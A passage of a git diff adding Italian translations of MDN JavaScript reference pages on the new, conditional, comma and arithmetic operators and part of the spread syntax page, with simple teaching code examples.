+console.log(car2.color) // original color
+</pre>
+
+<p class="note">Se non hai usato l'operatore <code>new</code>, <strong>la funzione constructor verrà invocata come una qualunque altra funzione</strong>, <em>senza creare un nuovo Object.</em><strong> </strong>in questo caaso, anche il valore di <code>this</code> è diverso.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Tipo_di_oggetto_e_oggetto_istanza">Tipo di oggetto e oggetto istanza</h3>
+
+<p>Metti caso di volere creare un tipo di oggetto per le macchine. Vuoi che questo tipo di oggetto si chiami <code>car</code>, e vuoi che abbia queste proprietà: make (brand, marca), model (modello) e year (anno). Per fare questo, potresti scrivere la seguente funzione:</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+}
+</pre>
+
+<p>Adesso puoi creare un oggetto chiamato <code>myCar</code> in questo modo:</p>
+
+<pre class="brush: js">var mycar = new Car("Eagle", "Talon TSi", 1993);
+</pre>
+
+<p>Questa dichiarazione crea <code>myCar </code>e gli assegna i valori specificati per le sue proprietà. Poi il valore di <code>mycar.make</code> è "Eagle", <code>mycar.year</code> è il numero intero 1993, e così via.</p>
+
+<p>Puoi creare quanti oggetti <code>Car</code> vuoi utilizzando <code>new</code>. Per esempio:</p>
+
+<pre class="brush: js">var kenscar = new Car("Nissan", "300ZX", 1992);
+</pre>
+
+<h3 id="Proprietà_dell'oggetto_che_è_se_stesso_un_oggetto">Proprietà dell'oggetto che è se stesso un oggetto</h3>
+
+<p>Supponi di definire un oggetto <code>person</code> in questo modo:</p>
+
+<pre class="brush: js">function Person(name, age, sex) {
+  this.name = name;
+  this.age = age;
+  this.sex = sex;
+}
+</pre>
+
+<p>E poi istanzi due nuove oggetti <code>Person</code> in questo modo:</p>
+
+<pre class="brush: js">var rand = new Person("Rand McNally", 33, "M");
+var ken = new Person("Ken Jones", 39, "M");
+</pre>
+
+<p>Poi puoi riscrivere la definizione di <code>Car</code> per includere una proprietà <code>owner</code> (proprietario) che accetta un oggetto persona, ecco come:</p>
+
+<pre class="brush: js">function Car(make, model, year, owner) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+  this.owner = owner;
+}
+</pre>
+
+<p>Per istanziare i nuovi oggetti, poi fai così:</p>
+
+<pre class="brush: js">var car1 = new Car("Eagle", "Talon TSi", 1993, rand);
+var car2 = new Car("Nissan", "300ZX", 1992, ken);
+</pre>
+
+<p>Invece di passare una stringa letterale o un valore intero quando crei i nuovi oggetti, le dichiarazioni sopra passano gli oggetti <code>rand</code> e <code><font face="Consolas, Liberation Mono, Courier, monospace">ken</font></code> come parametri per i proprietari. Per cercare il nome del proprietario (owner) in <code><font face="Consolas, Liberation Mono, Courier, monospace">car2</font></code>, puoi accedere alla seguente proprietà:</p>
+
+<pre class="brush: js">car2.owner.name
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-new-operator', 'The new Operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-new-operator', 'The new Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.2.2', 'The new Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.2.2', 'The new Operator')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.2.2', 'The new Operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<p>{{Compat("javascript.operators.new")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Reflect.construct()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/operators/operator_condizionale/index.html b/files/it/web/javascript/reference/operators/operator_condizionale/index.html
new file mode 100644
index 0000000000..1ade61b085
--- /dev/null
+++ b/files/it/web/javascript/reference/operators/operator_condizionale/index.html
@@ -0,0 +1,171 @@
+---
+title: Operatore condizionale (ternary)
+slug: Web/JavaScript/Reference/Operators/Operator_Condizionale
+tags:
+  - JavaScript Operatore operatore
+translation_of: Web/JavaScript/Reference/Operators/Conditional_Operator
+---
+<p>L'<strong>operator</strong><strong>e</strong><strong> condizionale (ternary) </strong>è  l'unico operatore JavaScript che necessità di tre operandi. Questo operatore è frequentemente usato al posto del comando <a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else"><code>if</code></a> per la sua sintassi concisa e perché fornisce direttamente un espressione valutabile.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>condizione</em> ? <em>espressione1</em> : <em>espressione2</em> </pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>condizione</code></dt>
+ <dd>Un espressione booleana (che viene valutata in vero o <code>falso)</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>espressione1</code>, <code>espressione2</code></dt>
+ <dd>Espressione di qualunque tipo (vedi avanti nella pagina).</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Se <code>la condizione è vera</code>, l'operatore ritorna il valore di <code>espressione1</code>; altrimenti, ritorna il valore di <code>espressione2</code>.  Per esempio, puoi usare questa espressione per mostrare un messaggio che cambia in base al valore della variabile <strong><code>isMember</code></strong>:</p>
+
+<pre class="brush: js">"The fee is " + (isMember ? "$2.00" : "$10.00")
+</pre>
+
+<p>Puoi anche assegnare variabili dipendenti dal risultato di un operatore ternario:</p>
+
+<pre class="brush: js">var elvisLives = Math.PI &gt; 4 ? "Yep" : "Nope";</pre>
+
+<p>Sono anche possibili espressioni con operatori ternari multipli (nota: l'operatore condizionale è associativo a destra):</p>
+
+<pre class="brush: js">var firstCheck = false,
+    secondCheck = false,
+    access = firstCheck ? "Access denied" : secondCheck ? "Access denied" : "Access granted";
+
+console.log( access ); // logs "Access granted"</pre>
+
+<p>Puoi anche usare l'operatore ternario direttamente senza assegnamenti e senza combinazioni con altre espressioni, con lo scopo di valutare operazioni alternative:</p>
+
+<pre class="brush: js">var stop = false, age = 16;
+
+age &gt; 18 ? location.assign("continue.html") : stop = true;
+</pre>
+
+<p>Puoi anche valutare operazioni multiple separandole con delle virgole:</p>
+
+<pre class="brush: js">var stop = false, age = 23;
+
+age &gt; 18 ? (
+    alert("OK, you can go."),
+    location.assign("continue.html")
+) : (
+    stop = true,
+    alert("Sorry, you are much too young!")
+);
+</pre>
+
+<p>Puoi anche valutare più operazioni durante l'assegnamento di una variabile. In questo caso, <strong>l'ultimo valore separato da una virgola nelle parentesi sarà il valore assegnato</strong>.</p>
+
+<pre class="brush: js">var age = 16;
+
+var url = age &gt; 18 ? (
+    alert("OK, you can go."),
+    // alert returns "undefined", but it will be ignored because
+    // isn't the last comma-separated value of the parenthesis
+    "continue.html" // the value to be assigned if age &gt; 18
+) : (
+    alert("You are much too young!"),
+    alert("Sorry :-("),
+    // etc. etc.
+    "stop.html" // the value to be assigned if !(age &gt; 18)
+);
+
+location.assign(url); // "stop.html"</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-conditional-operator', 'Conditional Operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-conditional-operator', 'Conditional Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.12', 'The conditional operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.12', 'The conditional operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_Browser">Compatibilità con Browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if statement</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/operators/operatore_virgola/index.html b/files/it/web/javascript/reference/operators/operatore_virgola/index.html
new file mode 100644
index 0000000000..e4027930a1
--- /dev/null
+++ b/files/it/web/javascript/reference/operators/operatore_virgola/index.html
@@ -0,0 +1,105 @@
+---
+title: Operatore virgola
+slug: Web/JavaScript/Reference/Operators/Operatore_virgola
+translation_of: Web/JavaScript/Reference/Operators/Comma_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'<strong>operatore virgola</strong> valuta ciascuno dei suoi operandi, da sinistra a destra, e restituisce il valore dell'ultimo operando.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-commaoperators.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>expr1</em>, <em>expr2, expr3...</em></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>expr1</code>, <code>expr2</code>, <code>expr3</code>...</dt>
+ <dd>Qualsiasi espressione.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Puoi utilizzare l'operatore virgola quando vuoi includere più espressioni in una posizione che richiede una singola espressione. L'uso più comune di questo operatore è di fornire più parametri in un ciclo <code>for</code>.</p>
+
+<p>L'operatore virgola è completamente differente dalla virgola utilizzata negli array, negli oggetti, e negli argomenti e parametri di funzione.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Considerando <code>a</code> un array di 2 dimensioni contenente 10 elementi per ciascun lato, il seguente codice utilizza l'operatore virgola per incrementare <code>i</code> e decrementare <code>j</code> contemporaneamente.</p>
+
+<p>Il seguente codice stampa i valori degli elementi in posizione diagonale dell'array:</p>
+
+<pre class="brush:js;highlight:[1]">for (var i = 0, j = 9; i &lt;= 9; i++, j--)
+  console.log('a[' + i + '][' + j + '] = ' + a[i][j]);</pre>
+
+<p>Si noti che gli operatori virgola nelle assegnazioni potrebbero non avere l'effetto normale degli operatori virgola perché non esistono all'interno di un'espressione. Nel seguente esempio, <code>a</code> é impostato al valore di <code>b = 3</code> (che é 3), ma l'espressione <code>c = 4</code> continua a essere valutata e il suo valore viene restituito alla console (cioé 4). Questo é dovuto alla <a href="/it/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">precedenza e all'associtività dell'operatore</a>.</p>
+
+<pre class="brush: js">var a, b, c;
+
+a = b = 3, c = 4; // restituisce 4 nella console
+console.log(a); // 3 (più a sinistra)
+
+var x, y, z;
+
+x = (y = 5, z = 6); // restituisce 6 nella console
+console.log(x); // 6 (più a destra)
+</pre>
+
+<h3 id="Elaborazione_e_restituzione">Elaborazione e restituzione</h3>
+
+<p>Un altro esempio che si potrebbe fare con l'operatore virgola è quello di eleborare prima di restituire. Come detto, solo l'ultimo elemento viene restituito ma anche tutti gli altri vengono valutati. Quindi, si potrebbe fare:</p>
+
+<pre class="brush: js">function myFunc() {
+  var x = 0;
+
+  return (x += 1, x); // stesso comportamento di ++x;
+}</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-comma-operator', 'Comma operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-comma-operator', 'Comma operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.14', 'Comma operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.14', 'Comma operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("javascript.operators.comma")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/it/docs/Web/JavaScript/Reference/Statements/for"><code>for</code> loop</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/operators/operatori_aritmetici/index.html b/files/it/web/javascript/reference/operators/operatori_aritmetici/index.html
new file mode 100644
index 0000000000..991456bf93
--- /dev/null
+++ b/files/it/web/javascript/reference/operators/operatori_aritmetici/index.html
@@ -0,0 +1,291 @@
+---
+title: Operatori Aritmetici
+slug: Web/JavaScript/Reference/Operators/Operatori_Aritmetici
+tags:
+  - JavaScript
+  - Operatori
+  - Operatori Aritmetici
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div>Gli <strong>operatori aritmetici</strong> lavorano su operandi numerici (sia letterali che variabili) e ritornano un singolo valore numerico. Gli operatori aritmetici standard sono l'addizione (+), la sottrazione (-), la moltiplicazione (*) e la divisione (/).</div>
+
+<h2 id="Addizione_()"><a name="Addition">Addizione (+)</a></h2>
+
+<p>L'operazione di addizione produce la somma di operandi numerici o la concatenzione di stringhe.</p>
+
+<h3 id="Sintassi">Sintassi</h3>
+
+<pre class="syntaxbox"><strong>Operatore:</strong> x + y
+</pre>
+
+<h3 id="Esempi">Esempi</h3>
+
+<pre class="brush: js">// Numero + Numero -&gt; addizione
+1 + 2 // 3
+
+// Booleano + Numero -&gt; addizione
+true + 1 // 2
+
+// Booleano + Booleano -&gt; additione
+false + false // 0
+
+// Numero + Stringa -&gt; concatenazione
+5 + "foo" // "5foo"
+
+// Stringa + Booleano -&gt; concatenazione
+"foo" + false // "foofalse"
+
+// Stringa + Stringa -&gt; concatenazione
+"foo" + "bar" // "foobar"
+</pre>
+
+<h2 id="Sottrazione_(-)"><a name="Subtraction">Sottrazione (-)</a></h2>
+
+<p>L'operatore di sottrazione fa la sottrazione dei due operandi e produce la loro differenza.</p>
+
+<h3 id="Sintassi_2">Sintassi</h3>
+
+<pre class="syntaxbox"><strong>Operatore:</strong> x - y
+</pre>
+
+<h3 id="Esempi_2">Esempi</h3>
+
+<pre class="brush: js">5 - 3 // 2
+3 - 5 // -2
+"foo" - 3 // NaN</pre>
+
+<h2 id="Divisione_()"><a name="Division">Divisione (/)</a></h2>
+
+<p>L'operatore di divisione produce il quoziente dei suoi operandi dove l'operando di sinistra è il dividendo e l'operando di destra è il divisore.</p>
+
+<h3 id="Sintassi_3">Sintassi</h3>
+
+<pre class="syntaxbox"><strong>Operatore:</strong> x / y
+</pre>
+
+<h3 id="Esempi_3">Esempi</h3>
+
+<pre class="brush: js">1 / 2      // restituisce 0.5 in JavaScript
+1 / 2      // restituisce 0 in Java
+// (nessuno degli operandi è un numero in virgola mobile esplicito)
+
+1.0 / 2.0  // restituisce 0.5 in both JavaScript and Java
+
+2.0 / 0    // restituisce Infinity in JavaScript
+2.0 / 0.0  // restituisce Infinity too
+2.0 / -0.0 // restituisce -Infinity in JavaScript</pre>
+
+<h2 id="Moltiplicazione_(*)"><a name="Multiplication">Moltiplicazione (*)</a></h2>
+
+<p>The multiplication operator produces the product of the operands.</p>
+
+<h3 id="Sintassi_4">Sintassi</h3>
+
+<pre class="syntaxbox"><strong>Operatore:</strong> x * y
+</pre>
+
+<h3 id="Esempi_4">Esempi</h3>
+
+<pre class="brush: js">2 * 2 // 4
+-2 * 2 // -4
+Infinity * 0 // NaN
+Infinity * Infinity // Infinity
+"foo" * 2 // NaN
+</pre>
+
+<h2 id="Resto_()"><a name="Remainder">Resto (%)</a></h2>
+
+<p>L'operatore Resto o Modulo restituisce il “resto“ rimasto quando un operando viene diviso per un secondo operando. Calcola il resto della divisione fra il primo e il secondo operando. Porta sempre il segno del dividendo.</p>
+
+<h3 id="Sintassi_5">Sintassi</h3>
+
+<pre class="syntaxbox"><strong>Operatore:</strong> var1 % var2
+</pre>
+
+<h3 id="Esempi_5">Esempi</h3>
+
+<pre class="brush: js">12 % 5 // 2
+-1 % 2 // -1
+NaN % 2 // NaN
+1 % 2 // 1
+2 % 3 // 2
+-4 % 2 // -0
+</pre>
+
+<h2 id="Esponente_(**)"><a name="Exponentiation">Esponente (**)</a></h2>
+
+<p><strong>L'operatore Esponente o esponenziale in JavaScript. </strong>Una delle funzionalità di questa versione è l'operatore di esponenziazione. Esponente restituisce il risultato dell'elevamento a potenza dal primo operando al secondo. Cioè <code>var1</code> <code>var2</code> , <code>var2.</code> <code>var1</code>e <code>var2</code> sono variabili. L'operatore Esponente ha ragione associativa. <code>a ** b ** c</code> equivale a <code>a ** (b ** c)</code>.</p>
+
+<h3 id="Sintassi_6">Sintassi</h3>
+
+<pre class="syntaxbox"><strong>Operatore:</strong> var1 ** var2
+</pre>
+
+<h3 id="Note">Note</h3>
+
+<p>Nella maggior parte dei linguaggi come PHP e Python e altri che usano l'operatore Esponente (**), ha precedenza rispetto agli altri operatori unari come + e -, salvo in alcune eccezioni. Ad esempio, in Bash l'operatore ** ha una minor importanza rispetto agli operatori unari. In JavaScript, è impossibile scrivere un'espressione Esponente ambigua, ovvero non è possibile inserire un operatore unario ( <code>+/-/~/!/delete/void/typeof</code> ) immediatamente prima del numero di base. Il calcolo della potenza può essere espresso più sinteticamente usando la notazione infissa. Simile ad altri linguaggi come Python o F#, <code>**</code> è usato per indicare l'operatore. </p>
+
+<pre class="brush: js">-2 ** 2 // equals 4 in ES2016 or in Bash, equals -4 in other languages.</pre>
+
+<p>Accetta base sul lato sinistro ed esponente sul lato destro, rispettivamente.</p>
+
+<pre class="brush: js">let value = 5; value **= 2; // value: 25
+</pre>
+
+<h3 id="Esempi_6">Esempi</h3>
+
+<pre class="brush: js">2 ** 3 // 8
+3 ** 2 // 9
+3 ** 2.5 // 15.588457268119896
+10 ** -1 // 0.1
+NaN ** 2 // NaN
+
+2 ** 3 ** 2 // 512
+2 ** (3 ** 2) // 512
+(2 ** 3) ** 2 // 64
+
+var a = 3;
+var b = a ** 3;
+alert("3x3x3 is = " + b); // 27
+</pre>
+
+<p>Per invertire il segno del risultato di un'espressione di Esponente:</p>
+
+<pre><code>-(2 ** 2) // -4</code>
+</pre>
+
+<p>Per forzare la base di un'espressione di Esponente ad essere un numero negativo:</p>
+
+<pre><code>(-2) ** 2 // 4 </code></pre>
+
+<h2 id="Incremento_()"><a name="Increment">Incremento (++)</a></h2>
+
+<p>L'operatore di incremento incrementa (aggiunge uno a) il suo operando e restituisce un valore.</p>
+
+<ul>
+ <li>Se usato in post posizione, con operatore dopo operando (ad esempio, x ++), restituisce il valore prima di incrementare.</li>
+ <li>Se usato come prefisso quindi prima dell'operando (ad esempio, ++ x), restituisce il valore dopo l'incremento.</li>
+</ul>
+
+<h3 id="Sintassi_7">Sintassi</h3>
+
+<pre class="syntaxbox"><strong>Operatore:</strong> x++ or ++x
+</pre>
+
+<h3 id="Esempi_7">Esempi</h3>
+
+<pre class="brush: js">// Postfix // post posizione
+var x = 3;
+y = x++; // y = 3, x = 4
+
+// Prefix // Prefisso
+var a = 2;
+b = ++a; // a = 3, b = 3
+</pre>
+
+<h2 id="Decremento_(--)"><a name="Decrement">Decremento (--)</a></h2>
+
+<p>L'operatore decrementa decrementa (sottrae uno da) il suo operando e restituisce un valore.</p>
+
+<ul>
+ <li>Se usato in post posizione (ad esempio x--), restituisce il valore prima di decrementare.</li>
+ <li>Se usato come prefisso (ad esempio, --x), restituisce il valore dopo la decrementazione.</li>
+</ul>
+
+<h3 id="Sintassi_8">Sintassi</h3>
+
+<pre class="syntaxbox"><strong>Operatore:</strong> x-- or --x
+</pre>
+
+<h3 id="Esempi_8">Esempi</h3>
+
+<pre class="brush: js">// Postfix // post posizione
+var x = 3;
+y = x--; // y = 3, x = 2
+
+// Prefix // Prefisso
+var a = 2;
+b = --a; // a = 1, b = 1
+</pre>
+
+<h2 id="Negazione_unaria_(-)"><a name="Unary_negation">Negazione unaria (-)</a></h2>
+
+<p>L'operatore di negazione unario precede il suo operando e lo nega.</p>
+
+<h3 id="Sintassi_9">Sintassi</h3>
+
+<pre class="syntaxbox"><strong>Operatore:</strong> -x
+</pre>
+
+<h3 id="Esempi_9">Esempi</h3>
+
+<pre><code>var x = 3;
+y = -x; // y = -3, x = 3
+
+//</code>L'operatore di negazione unario può convertire numeri diversi in un numero<code>
+var x = "4";
+y = -x; // y = -4</code></pre>
+
+<h2 id="Unario_più_()"><a name="Unary_plus">Unario più</a> (+)</h2>
+
+<p>L'operatore unario più precede il suo operando e valuta il suo operando, ma tenta di convertirlo in un numero, se non lo è già. Anche se la negazione unaria (-) può anche convertire non numeri, unario è il modo più veloce e preferito per convertire qualcosa in un numero, perché non esegue altre operazioni sul numero. È in grado di convertire rappresentazioni di stringa di numeri interi e float, oltre ai valori non stringa <code>true</code> , <code>false</code> e <code>null</code> . Sono supportati i numeri interi decimali ed esadecimali ("0x" -prefixed). I numeri negativi sono supportati (sebbene non per hex). Se non può analizzare un valore particolare, valuterà in <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN</a>.</p>
+
+<h3 id="Sintassi_10">Sintassi</h3>
+
+<pre class="syntaxbox"><strong>Operatore:</strong> +x
+</pre>
+
+<h3 id="Esempi_10">Esempi</h3>
+
+<pre><code>+3     // 3
++'3'   // 3
++true  // 1
++false // 0
++null  // 0
++function(val){  return val } // NaN</code></pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificazioni</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.3')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definito in diverse sezioni della specifica: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.6">Additive operators</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.5">Multiplicative operators</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.3">Postfix expressions</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4">Unary operators</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-postfix-expressions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definito in diverse sezioni della specifica: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-additive-operators">Additive operators</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-multiplicative-operators">Multiplicative operators</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-postfix-expressions">Postfix expressions</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-unary-operators">Unary operators</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-postfix-expressions')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td>Aggiunto <a href="https://github.com/rwaldron/exponentiation-operator">Exponentiation operator</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("javascript.operators.arithmetic")}}</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Assignment operators</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/operators/spread_syntax/index.html b/files/it/web/javascript/reference/operators/spread_syntax/index.html
new file mode 100644
index 0000000000..9c300f9257
--- /dev/null
+++ b/files/it/web/javascript/reference/operators/spread_syntax/index.html
@@ -0,0 +1,257 @@
+---
+title: Spread syntax
+slug: Web/JavaScript/Reference/Operators/Spread_syntax
+tags:
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Referenza
+translation_of: Web/JavaScript/Reference/Operators/Spread_syntax
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>La <strong>Spread syntax</strong> consente un iterabile come un'espressione di un array o una stringa da espandere in punti in cui sono previsti zero o più argomenti (per chiamate di funzione) o elementi (per letterali di array) o un'espressione di oggetto da espandere in posizioni dove zero o più sono previste coppie di valori (per valori letterali oggetto)..</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-spreadsyntax.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<p>Per chiamate di funzione:</p>
+
+<pre class="syntaxbox">myFunction(...iterableObj);
+</pre>
+
+<p>Per letterali di un array o stringhe:</p>
+
+<pre class="syntaxbox">[...iterableObj, '4', 'five', 6];</pre>
+
+<p>Per gli oggetti letterali (novità in ECMAScript 2018):</p>
+
+<pre class="syntaxbox">let objClone = { ...obj };</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Spread_nelle_chiamate_delle_funzioni">Spread nelle chiamate delle funzioni</h3>
+
+<h4 id="Sostituire_apply()">Sostituire <code>apply()</code></h4>
+
+<p>È comune utilizzare {{jsxref("Function.prototype.apply()")}} nei casi in cui vuoi utilizzare gli elementi di un array come argomenti di una funzione.</p>
+
+<pre class="brush: js">function myFunction(x, y, z) { }
+var args = [0, 1, 2];
+myFunction.apply(null, args);</pre>
+
+<p>Con la spread syntax può essere scritto come:</p>
+
+<pre class="brush: js">function myFunction(x, y, z) { }
+var args = [0, 1, 2];
+myFunction(...args);</pre>
+
+<p>Qualsiasi argomento nell'elenco di argomenti può utilizzare la spread syntax e può essere utilizzato più volte.</p>
+
+<pre class="brush: js">function myFunction(v, w, x, y, z) { }
+var args = [0, 1];
+myFunction(-1, ...args, 2, ...[3]);</pre>
+
+<h4 id="Apply_for_new">Apply for <code>new</code></h4>
+
+<p>When calling a constructor with {{jsxref("Operators/new", "new")}} it's not possible to <strong>directly</strong> use an array and <code>apply</code> (<code>apply</code> does a <code>[[Call]]</code> and not a <code>[[Construct]]</code>). However, an array can be easily used with <code>new</code> thanks to spread syntax:</p>
+
+<pre class="brush: js">var dateFields = [1970, 0, 1];  // 1 Jan 1970
+var d = new Date(...dateFields);
+</pre>
+
+<p>To use new with an array of parameters without spread syntax, you would have to do it <strong>indirectly</strong> through partial application:</p>
+
+<pre class="brush: js">function applyAndNew(constructor, args) {
+   function partial () {
+      return constructor.apply(this, args);
+   };
+   if (typeof constructor.prototype === "object") {
+      partial.prototype = Object.create(constructor.prototype);
+   }
+   return partial;
+}
+
+
+function myConstructor () {
+   console.log("arguments.length: " + arguments.length);
+   console.log(arguments);
+   this.prop1="val1";
+   this.prop2="val2";
+};
+
+var myArguments = ["hi", "how", "are", "you", "mr", null];
+var myConstructorWithArguments = applyAndNew(myConstructor, myArguments);
+
+console.log(new myConstructorWithArguments);
+// (internal log of myConstructor):           arguments.length: 6
+// (internal log of myConstructor):           ["hi", "how", "are", "you", "mr", null]
+// (log of "new myConstructorWithArguments"): {prop1: "val1", prop2: "val2"}</pre>
+
+<h3 id="Spread_in_array_literals">Spread in array literals</h3>
+
+<h4 id="A_more_powerful_array_literal">A more powerful array literal</h4>
+
+<p>Without spread syntax, to create a new array using an existing array as one part of it, the array literal syntax is no longer sufficient and imperative code must be used instead using a combination of {{jsxref("Array.prototype.push", "push()")}}, {{jsxref("Array.prototype.splice", "splice()")}}, {{jsxref("Array.prototype.concat", "concat()")}}, etc. With spread syntax this becomes much more succinct:</p>
+
+<pre class="brush: js">var parts = ['shoulders', 'knees'];
+var lyrics = ['head', ...parts, 'and', 'toes'];
